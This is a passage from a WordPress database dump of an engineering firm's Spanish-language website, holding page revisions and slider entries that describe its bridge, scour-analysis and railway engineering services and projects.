Diseño antisísmico y modificación<br />\r\n        Estudios hidráulicos y de socavación<br />\r\n        Estudios de colisión de buques<br />\r\n        Estudios de carga de hielo<br />\r\n        Diseño de cimentación profunda<br />\r\n        Socavación de puentes<br />\r\n        Análisis de la marejada ciclónica<br />\r\n      </p>\r\n      <div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\r\n      <p> Inspección por encima/debajo del nivel del agua con certificación NBIS<br />\r\n        Muestreo y prueba de materiales<br />\r\n        Modelación de la vida de servicio (Estructuras de concreto)<br />\r\n        Servicios de diseño de reparación/rehabilitación<br />\r\n        Servicios de la fase de construcción<br />\r\n      </p>\r\n      <div class=\"divider-line\">Otros servicios</div>\r\n      <p> Estética de puentes y Soluciones sensibles al contexto<br />\r\n        Capacidad de carga de puentes<br />\r\n        Análisis avanzado de elementos finitos<br />\r\n        Coordinación y reubicación de equipos de servicios públicos<br />\r\n        Diseño de calzadas y accesos<br />\r\n      </p>\r\n    </div>\r\n    <br />\r\n    &nbsp; &nbsp; &nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n      </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h3 id=\"1\">caminos y puentes</h3> Moffatt & Nichol ofrece una gama completa de servicios de planeamiento, diseño, obtención de fondos y gestión para proyectos de puentes y carreteras.\r\n  \r\nMoffatt & Nichol ofrece su especial experiencia profesional en los aspectos económicos y financieros, gestión de programas, análisis sísmico, cimentaciones marítimas profundas, sistemas intermodales, impacto de buques y análisis de socavación del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseño y la construcción. \r\n \r\nAdemás del diseño convencional de carreteras, nuestras capacidades estructurales incluyen la inspección, planeamiento, análisis, diseño y preparación de la documentación de la construcción para la rehabilitación, modificación o nueva construcción de puentes, caballetes para puentes y pasos a desnivel.  Moffatt & Nichol ha planeado o diseñado más de 500 puentes, que comprenden desde una de las autopistas más largas del mundo o intercambios de autopistas como El Toro “Y” en Irvine, California, hasta el proyecto de reemplazo del puente de la bahía Oakland de $5.500 millones.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h3 id=\"2\">análisis de socavación</h3> Moffatt & Nichol tiene experiencia profesional interna especializada en dinámica fluvial y de mareas, transporte de sedimentos/análisis de socavación, ingeniería costera e hidrología e hidráulica.  Aplicando esta experiencia profesional junto con nuestra capacidad de modelación numérica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavación para puentes en diversas condiciones de ubicación. Hemos realizado la clasificación de la socavación de más de 1.000 puentes usando procedimientos FHWA, realizado análisis de socavación de más de 50 puentes y desarrollado contramedidas de diseño para muchos puentes con socavación crítica. En el puente de la bahía de Oakland, San Francisco, Moffatt & Nichol realizó recientemente la modelación numérica hidrodinámica y la prueba del modelo físico para pronosticar la posible socavación. El nivel de socavación fue sustancialmente menor que el pronosticado usando una fórmula empírica.\r\n \r\nAdemás, Moffatt & Nichol es un líder internacional reconocido en el análisis y diseño de la prevención de colisión de naves y de sistemas de protección.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','servicios de caminos y puentes','','inherit','open','open','','640-revision-6','','','2012-08-29 14:48:49','2012-08-29 14:48:49','',640,'http://moffattnichol.com/spanish/640-revision-6/',0,'revision','',0),(2631,1,'2012-08-29 14:51:16','2012-08-29 14:51:16','<img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/08/rails-one.jpg\" alt=\"Rails\" title=\"Rails\" width=\"588\" height=\"231\" class=\"alignnone size-full wp-image-2639\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Programa estatal de seguridad de cruce de vías férreas del Departamento de <br />Transporte de Georgia</div>\r\n<div class=\"gallary-text\">Moffatt & Nichol mantiene actualmente un contrato sobre pedido para proporcionar servicios de ingeniería relacionados con ferrocarriles y cruces de vías férreas, orientados específicamente a cruces a nivel de carreteras y vías férreas a lo largo de varios corredores en Georgia para mejorar la seguridad pública.</div>\r\n</div>\r\n','Railroads One','','publish','closed','closed','','railroads-one','','','2012-09-03 09:58:44','2012-09-03 09:58:44','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2631',1,'anything_slides','',0),(2632,1,'2012-08-29 14:51:54','2012-08-29 14:51:54','<img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/08/rails-two.jpg\" alt=\"Rails\" title=\"Rails\" width=\"588\" height=\"231\" class=\"alignnone size-full wp-image-2640\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Modelo costo-beneficio para la eliminación de peligros de cruces a nivel de <br />carreteras y vías férreas del NCDOT</div>\r\n<div class=\"gallary-text\">La División de Ferrocarriles del Departamento de Transporte de Carolina del Norte (NCDOT) contrató a Moffatt & Nichol para asistir en la incorporación de una metodología de costo–beneficio a su actual programa de seguridad de cruces a nivel de autopistas y vías férreas. La metodología debe concordar con la práctica actual de costo-beneficio de la Unidad de Seguridad de Tráfico del NCDOT. </div>\r\n</div>\r\n\r\n','Railroads Two','','publish','closed','closed','','railroads-two','','','2012-09-03 09:59:02','2012-09-03 09:59:02','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2632',2,'anything_slides','',0),(2633,1,'2012-08-29 14:52:20','2012-08-29 14:52:20','<img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/08/rails-three.jpg\" alt=\"Rails\" title=\"Rails\" width=\"588\" height=\"231\" class=\"alignnone size-full wp-image-2641\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Reubicación de seguridad de vía férrea principal de Commonwealth Railway</div>\r\n<div class=\"gallary-text\">Como miembro del equipo de diseño y construcción, Moffatt & Nichol se encargó de los aspectos de diseño, gestión del programa y servicios de participación ciudadana para la reubicación de poco más de 7 km de rieles desde las áreas residenciales de Chesapeake y Portsmouth, Virginia, hacia el corredor Western Freeway Median Rail. </div>\r\n</div>\r\n','Railroads Three','','publish','closed','closed','','railroads-three','','','2012-08-29 15:02:13','2012-08-29 15:02:13','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2633',3,'anything_slides','',0),(2634,1,'2012-08-29 14:52:42','2012-08-29 14:52:42','<img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/08/rails-four.jpg\" alt=\"Rails\" title=\"Rails\" width=\"588\" height=\"231\" class=\"alignnone size-full wp-image-2642\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Paso a desnivel de zanja para tren San Gabriel</div>\r\n<div class=\"gallary-text\">Este proyecto consistió en la creación de una zanja férrea de 3,5 km de longitud para trasladar una sección de la vía de UPRR por debajo del nivel de la calle. Moffatt & Nichol realizó un análisis preliminar para determinar el tipo de método de adquisiciones que usaría el emblemático proyecto.</div>\r\n</div>\r\n\r\n','Railroads Four','','publish','closed','closed','','railroads-four','','','2012-08-29 15:02:16','2012-08-29 15:02:16','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2634',4,'anything_slides','',0),(2635,1,'2012-08-29 14:53:06','2012-08-29 14:53:06','<img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/08/rails-five.jpg\" alt=\"Rails\" title=\"Rails\" width=\"588\" height=\"231\" class=\"alignnone size-full wp-image-2644\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Instalación intermodal TIPS de Contrail</div>\r\n<div class=\"gallary-text\">La Terminal Intermodal do Porto do Santos de Contrail, con su primer centro intermodal en Cubatão, Brasil, está dirigida a aliviar la congestión de tráfico comercial. Se contrató a Moffatt & Nichol para que revisara los planos de las instalaciones y, en último término, proporcionar el diseño detallado de la terminal.</div>\r\n</div>\r\n\r\n','Railroads Five','','publish','closed','closed','','railroads-five','','','2012-08-29 15:02:18','2012-08-29 15:02:18','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2635',5,'anything_slides','',0),(2636,1,'2012-08-29 14:55:04','2012-08-29 14:55:04','\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Programa estatal de seguridad de cruce de vías férreas del Departamento de Transporte de Georgia</div>\n<div class=\"gallary-text\">Moffatt & Nichol mantiene actualmente un contrato sobre pedido para proporcionar servicios de ingeniería relacionados con ferrocarriles y cruces de vías férreas, orientados específicamente a cruces a nivel de carreteras y vías férreas a lo largo de varios corredores en Georgia para mejorar la seguridad pública.</div>\n</div>\n','Railroads One','','inherit','open','open','','2631-autosave','','','2012-08-29 14:55:04','2012-08-29 14:55:04','',2631,'http://moffattnichol.com/spanish/2631-autosave/',0,'revision','',0),(2637,1,'2012-09-03 09:58:59','2012-09-03 09:58:59','<img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/08/rails-two.jpg\" alt=\"Rails\" title=\"Rails\" width=\"588\" height=\"231\" class=\"alignnone size-full wp-image-2640\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Modelo costo-beneficio para la eliminación de peligros de cruces a nivel de <carreteras y vías férreas del NCDOT</div>\n<div class=\"gallary-text\">La División de Ferrocarriles del Departamento de Transporte de Carolina del Norte (NCDOT) contrató a Moffatt & Nichol para asistir en la incorporación de una metodología de costo–beneficio a su actual programa de seguridad de cruces a nivel de autopistas y vías férreas. La metodología debe concordar con la práctica actual de costo-beneficio de la Unidad de Seguridad de Tráfico del NCDOT. </div>\n</div>\n\n','Railroads Two','','inherit','open','open','','2632-autosave','','','2012-09-03 09:58:59','2012-09-03 09:58:59','',2632,'http://moffattnichol.com/spanish/2632-autosave/',0,'revision','',0),(2638,1,'2012-08-29 14:55:25','2012-08-29 14:55:25','<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Reubicación de seguridad de vía férrea principal de Commonwealth Railway</div>\n<div class=\"gallary-text\">Como miembro del equipo de diseño y construcción, Moffatt & Nichol se encargó de los aspectos de diseño, gestión del programa y servicios de participación ciudadana para la reubicación de poco más de 7 km de rieles desde las áreas residenciales de Chesapeake y Portsmouth, Virginia, hacia el corredor Western Freeway Median Rail. </div>\n</div>\n','Railroads Three','','inherit','open','open','','2633-autosave','','','2012-08-29 14:55:25','2012-08-29 14:55:25','',2633,'http://moffattnichol.com/spanish/2633-autosave/',0,'revision','',0),(2639,1,'2012-08-29 14:57:55','2012-08-29 14:57:55','','Rails','','inherit','open','open','','rails-one','','','2012-08-29 14:57:55','2012-08-29 14:57:55','',2631,'http://moffattnichol.com/spanish/wp-content/uploads/2012/08/rails-one.jpg',0,'attachment','image/jpeg',0),(2640,1,'2012-08-29 14:58:53','2012-08-29 14:58:53','','Rails','','inherit','open','open','','rails-two','','','2012-08-29 14:58:53','2012-08-29 14:58:53','',2632,'http://moffattnichol.com/spanish/wp-content/uploads/2012/08/rails-two.jpg',0,'attachment','image/jpeg',0),(2641,1,'2012-08-29 14:59:28','2012-08-29 14:59:28','','Rails','','inherit','open','open','','rails-three','','','2012-08-29 14:59:28','2012-08-29 14:59:28','',2633,'http://moffattnichol.com/spanish/wp-content/uploads/2012/08/rails-three.jpg',0,'attachment','image/jpeg',0),(2642,1,'2012-08-29 15:00:27','2012-08-29 15:00:27','','Rails','','inherit','open','open','','rails-four','','','2012-08-29 15:00:27','2012-08-29 15:00:27','',2634,'http://moffattnichol.com/spanish/wp-content/uploads/2012/08/rails-four.jpg',0,'attachment','image/jpeg',0),(2643,1,'2012-08-29 15:00:42','2012-08-29 15:00:42','<img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/08/rails-four.jpg\" alt=\"Rails\" title=\"Rails\" width=\"588\" height=\"231\" class=\"alignnone size-full wp-image-2642\" /></a>\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Paso a desnivel de zanja para tren San Gabriel</div>\n<div class=\"gallary-text\">Este proyecto consistió en la creación de una zanja férrea de 3,5 km de longitud para trasladar una sección de la vía de UPRR por debajo del nivel de la calle. Moffatt & Nichol realizó un análisis preliminar para determinar el tipo de método de adquisiciones que usaría el emblemático proyecto.</div>\n</div>\n\n','Railroads Four','','inherit','open','open','','2634-autosave','','','2012-08-29 15:00:42','2012-08-29 15:00:42','',2634,'http://moffattnichol.com/spanish/2634-autosave/',0,'revision','',0),(2644,1,'2012-08-29 15:01:05','2012-08-29 15:01:05','','Rails','','inherit','open','open','','rails-five','','','2012-08-29 15:01:05','2012-08-29 15:01:05','',2635,'http://moffattnichol.com/spanish/wp-content/uploads/2012/08/rails-five.jpg',0,'attachment','image/jpeg',0),(2645,1,'2012-06-19 11:22:54','2012-06-19 11:22:54','<div class=\"content_faq\">\r\n[vslider name=\"rails\"] &nbsp; \r\n<h3>servicios ferroviarios</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/commuter.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">trenes suburbanos y tránsito</h1>\r\nLa aceptación de la comunidad es crítica para transformar el concepto de un tren de una idea a una realidad. Los profesionales de ferrocarriles de Moffatt &amp; Nichol integran su conocimiento de primera mano trabajando con todos los niveles gubernamentales y con el público para obtener la cooperación de todas las partes interesadas del área. La firma ha facilitado audiencias públicas y talleres públicos y ha proporcionado su experiencia profesional en reuniones de asociaciones público-privadas para estos organismos. Estos programas de participación son esenciales para educar al público y obtener apoyo para los proyectos de transporte.\r\n\r\nHemos proporcionado estos servicios para los estudios conceptuales, de planeamiento de transporte, de trenes de alta velocidad, de separación del tráfico y de la seguridad de corredores de transporte, así como estudios de análisis de tráfico y determinaciones de zonas reservadas. La firma utiliza software de modelación tal como VISSIM, TERM SIM y Synchro para evaluar completamente los potenciales impactos de las mejoras de la infraestructura de transporte. El uso de estos modelos permite el análisis realista de las alternativas para determinar el mejor equilibrio entre el costo y la funcionalidad de cualquier diseño relacionado con ferrocarriles, transporte, calzadas o desplazamiento de peatones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/economics.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">estudios económicos y de mercado</h1>\r\nMoffatt &amp; Nichol comprende cómo el negocio del transporte guía a nuestros clientes en el desarrollo de estrategias de puerto-punto de acceso y las inversiones en infraestructura que vinculan la carga internacional con los mercados regionales y locales. Con el conocimiento del negocio de ferrocarriles, transporte en camiones y logística intermedia de almacenes, además de la experiencia en el diseño, estimación de costos y construcción de conexiones de caminos y ferrocarriles, Moffatt &amp; Nichol proporciona una ventaja única a sus clientes que evalúan sus inversiones en conexiones de transporte.\r\n\r\nExperiencia profesional en estudios económicos y de mercado:\r\n<ul>\r\n	<li>Análisis macroeconómico y demanda de carga globales</li>\r\n	<li>Análisis de mercado específico del país y regional</li>\r\n	<li>Evaluaciones económicas de ventajas competitivas</li>\r\n	<li>Desviación de carga y estudios de elasticidad</li>\r\n	<li>Estudios de casos comerciales</li>\r\n	<li>Desarrollo de proforma financiera</li>\r\n	<li>Estudios de factibilidad financiera y de capacidad de emisión</li>\r\n	<li>Evaluaciones y desarrollos estratégicos</li>\r\n	<li>Debida diligencia de transacciones comerciales con grado de inversión</li>\r\n	<li>Planeamiento y cálculo de costo de servicios logísticos</li>\r\n	<li>Estudios de gestión y organización</li>\r\n	<li>Evaluación de alternativas de leasing</li>\r\n	<li>Análisis del impacto económico</li>\r\n	<li>Estimación de beneficio del sector privado</li>\r\n	<li>Estimación de beneficio del sector público</li>\r\n	<li>Evaluación de costo-beneficio</li>\r\n	<li>Análisis de la productividad y las operaciones de terminales </li>\r\n	<li>Operaciones de compañías navieras</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/engineering-ser.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">servicios de ingeniería</h1>\r\nMoffatt &amp; Nichol guía a sus clientes a través del proceso de integrar oportunidades ferroviarias para beneficiar a sus estrategias de negocios. El experimentado equipo de profesionales de ferrocarriles de la firma ofrece una visión general integral, proporcionando una amplitud de visión desde el planeamiento y diseño hasta la terminación del proyecto. Única en el mercado, incorporamos nuestra experiencia profesional interna con nuestra amplia práctica en ferrocarriles en las áreas de factibilidad económica y evaluación de la logística, planeamiento de ferrocarriles, modelación de la capacidad, simulaciones logísticas y diseño de instalaciones de terminales intermodales, seguridad de corredores, mantenimiento, ingeniería estructural y mecánica, inspección y rehabilitación, señalización, y la administración de la construcción para líneas de pasajeros y de tránsito en todo el país. Como una firma integrada verticalmente, medimos las necesidades del cliente mediante análisis de operaciones e implementación de la construcción de las instalaciones. Esta estructura del negocio nos permite avanzar un proyecto a través de las regulaciones ambientales y la gestión de autorizaciones en estrecha coordinación con el proceso de aprobación del diseño y de la construcción.\r\n\r\nNuestra experiencia de diseño incluye líneas principales, vías secundarias y vías de patios de maniobras para ferrocarriles de Clase 1, así como para operadores de líneas cortas y regionales. Esta experiencia no solo comprende las vías, sino también instalaciones de mantenimiento y apoyo, accesos industriales, estaciones, así como instalaciones intermodales. Nuestra experiencia profesional en el planeamiento y diseño portuarios, junto con nuestra práctica en ferrocarriles, ha producido instalaciones intermodales de última tecnología en muelles y cerca de muelles para autoridades portuarias, operadores de terminales y ferrocarriles de Clase 1, incluyendo el diseño de las nuevas instalaciones de una grúa pórtico de gran capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/fright.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">carga</h1>\r\nLos ferrocarriles dan máxima prioridad a la seguridad cuando se trata de transportar mercancías. Moffatt &amp; Nichol requiere que la seguridad sea una parte integral de cualquier proyecto, desde el diseño hasta la implementación. Nuestros profesionales de ferrocarriles reciben capacitación en seguridad del trabajador ferroviario y tienen todas las credenciales de E-Rail. En su calidad de empresa, Moffatt &amp; Nichol participa en varias asociaciones de ferrocarriles para mantenerse al corriente con los cambios en la industria de carga, para permanecer actualizado sobre los últimos avances tecnológicos y para proporcionar su experiencia profesional en las ideas más innovadoras. Esta capacitación y certificación da a nuestros ingenieros una conexión con la industria de ferrocarriles que les permite entender mejor las necesidades actuales y futuras de nuestros clientes.\r\n\r\nEntendemos que las compañías ferroviarias toman decisiones basadas en consideraciones de costos. Los diseños de ferrocarriles tienen un impacto económico y pueden necesitar una mayor evaluación de la proporción ciclo-de-vida/costo-beneficio. Moffatt &amp; Nichol aporta capacidades añadidas en la medición del costo total de la propiedad. Es imprescindible encontrar un equilibrio entre el costo de capital inicial y el costo del ciclo de vida del beneficio a largo plazo. Moffatt &amp; Nichol reconoce la necesidad de evitar o minimizar las interrupciones a los horarios de tráfico existentes en el desarrollo de cualquier mantenimiento o proyecto de extensión de la capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/highspeed.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">trenes de alta velocidad</h1>\r\nLas relaciones que hemos establecido con organismos gubernamentales nacionales, estatales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, con abastecedores logísticos y con organismos nacionales y locales de trenes de pasajeros fortalecen nuestra capacidad de completar proyectos de trenes de alta velocidad para clientes en todo el país. Moffatt &amp; Nichol proporciona a este sector en crecimiento su experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para apoyar el servicio intermodal de alta velocidad o el servicio de pasajeros de alta velocidad.\r\n\r\nLa coordinación de esfuerzos entre nuestros diferentes servicios ferroviarios facilita el proceso de planeamiento y entrega los resultados esperados. Este enfoque funciona con proyectos para operaciones ferroviarias existentes a fin de identificar oportunidades para mejoras de velocidad, eficiencias de operación y la posible ampliación de los sistemas actuales.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol ofrece a sus clientes servicios integrales para todos los aspectos del diseño y desarrollo del proyecto.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/inspection.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">inspección y rehabilitación</h1>\r\nMoffatt &amp; Nichol realiza inspecciones por debajo y por encima del nivel de agua, así como servicios de diseño para todos los aspectos de la infraestructura del ferrocarril. Una característica única en la industria es que proporcionamos una experiencia profesional especial con “ojo de ingeniería” para la inspección de puentes y otras estructuras utilizando ingenieros colegiados e ingenieros buzos, que entienden la importancia estructural de las condiciones indicadas. Estos expertos recopilan informes de los datos recogidos y proporcionan eficaces soluciones de ingeniería al estar en el terreno o en el agua desde el inicio. También proporcionamos servicios de diseño en instalaciones tales como estaciones y terminales, muros de contención y estructuras de estabilidad de taludes.\r\n\r\nLa firma tiene la capacidad de movilizar a varios equipos para inspeccionar la infraestructura del ferrocarril y proporcionar a los clientes informes de inspección detallada, y en caso de ser necesario, terminar la inspección dentro de un cronograma ajustado. Los resultados de la inspección detallada incluyen estimaciones de reparaciones y costos, recomendaciones de reemplazo y cualquier mejora necesaria de la infraestructura, incluyendo planos que indiquen la ubicación de las reparaciones y disposiciones recomendadas. Además, podemos proporcionar la modelación de la vida de servicio utilizando el software STADIUM® para prolongar la vida de servicio de estructuras marítimas existentes usando una metodología de modelación cuantitativa.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/passenger.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"7\">servicio de pasajeros interurbano</h1>\r\nEl funcionamiento puntual, así como la seguridad y comodidad del pasajero, son los sellos distintivos de un servicio interurbano de tren de pasajeros exitoso. Moffatt &amp; Nichol ofrece una gran experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para proporcionar y mejorar el funcionamiento puntual y la satisfacción del pasajero. Nuestras comprobadas relaciones con organizaciones gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, y con organismos nacionales y locales de trenes de pasajeros, aumentan nuestra capacidad de proporcionar a nuestros clientes un servicio interurbano de pasajeros exitoso o de mejorar el servicio existente.\r\n\r\nNuestro equipo entiende al servicio interurbano de tren de pasajeros como una optimización de equipo e infraestructura. Este enfoque identifica los costos del equipo y de la infraestructura asociados con el mejoramiento del funcionamiento puntual y la comodidad de los pasajeros. Trabajamos muy de cerca con nuestros clientes para optimizar el rendimiento operacional y la comodidad de los pasajeros dentro de límites presupuestarios para proporcionar mejoras rentables.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol tiene profesionales con la suficiente experiencia para hacer que el servicio interurbano de tren de pasajeros sea un éxito.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/maitanance.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"8\">mantenimiento y mecánica</h1>\r\nEl mantenimiento preventivo total para instalaciones ferroviarias sin interrumpir las operaciones cotidianas es crítico para mantener los horarios de transporte. El equipo de ferrocarriles de la firma ha ayudado a operadores de ferrocarriles, organismos públicos, operadores portuarios y expedidores, en el análisis, planeamiento y programas de mantenimiento de sus instalaciones. Para proporcionar soluciones eficaces a la contratación de servicios ferroviarios, hemos formado alianzas estratégicas con abastecedores y proveedores de servicios sin igual en la industria.\r\n\r\nAdemás de ofrecer programas de mantenimiento de vías a los clientes, nuestra experiencia profesional incluye:\r\n<ul>\r\n	<li>Diagnóstico de señales y localización de averías</li>\r\n	<li>Diseño hidráulico</li>\r\n	<li>Problemas de mitigación medioambiental</li>\r\n	<li>Diseño de artículos especiales para trabajo en vías férreas</li>\r\n	<li>Diseño de sujetadores de durmientes y placas de asiento especiales</li>\r\n	<li>Estudios de cruces a nivel</li>\r\n</ul>\r\n \r\nLas capacidades relacionadas con líneas férreas de Moffatt &amp; Nichol integran servicios mecánicos con la infraestructura y las prácticas de planeamiento de la firma. Proporcionamos informes de ingeniería y desarrollamos recomendaciones para métodos a fin de aplicar acciones correctivas, mantenimiento inmediato y programado, así como instrucciones de prueba. La firma también desarrolla planos mecánicos detallados y supervisa proyectos de reconstrucción y rehabilitación de equipos, además de realizar inspecciones mecánicas y pruebas.\r\n\r\nNuestros profesionales de ferrocarriles dan servicio a los clientes como una extensión de su actual programa de mantenimiento. Mediante alianzas estratégicas con compañías de prueba y mantenimiento de equipos, Moffatt &amp; Nichol proporciona soluciones sin igual para los programas de reconstrucción de locomotoras y vagones, incluyendo investigación en nuevas tecnologías para incorporarlas en equipo rodante ferroviario. La firma también mantiene sistemas de gestión de documentos, incluyendo la organización de registros de mantenimiento y el desarrollo de especificaciones de piezas.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\"><img title=\"alamedacorridor_250X189\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\" alt=\"\" width=\"250\" height=\"189\" /></a></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"9\">gestión de programa</h1>\r\nEl equipo de Moffatt &amp; Nichol toma la visión de nuestros clientes y los guía para desarrollar, implementar y supervisar un programa exitoso en funcionamiento. Únicos en la industria, ofrecemos experiencia profesional interna en las áreas de estudios económicos y de mercado, gestión de autorizaciones ambientales, servicios de ingeniería, estructuras, inspección y rehabilitación, señalización y servicios mecánicos.\r\n\r\nLas relaciones que la firma tiene con organismos gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas y con organismos nacionales y locales de trenes de pasajeros ayudan a nuestros clientes en la coordinación de la aprobación de sus programas. También tenemos relaciones bien establecidas con consultores especialistas que aportan valor agregado y aseguran que el proyecto se realice exitosamente.\r\n\r\nLos clientes de Moffatt &amp; Nichol tienen un solo punto de contacto, lo que elimina las diferentes rutas de comunicación y proporciona acceso a expertos reconocidos en sus respectivos campos. Proporcionamos soluciones innovadoras e integradas para posicionar a nuestros clientes en el exitoso futuro del ferrocarril.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/signalisation.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"10\">señalización</h1>\r\nLa seguridad nunca es más importante que en el lugar en que el público y el ferrocarril se cruzan: el cruce a nivel. Moffatt &amp; Nichol ha proporcionado parámetros de señales para todos los niveles de servicio ferroviario, así como novedosos métodos de ingeniería para señalización de cruces a nivel que han disminuido los incidentes que 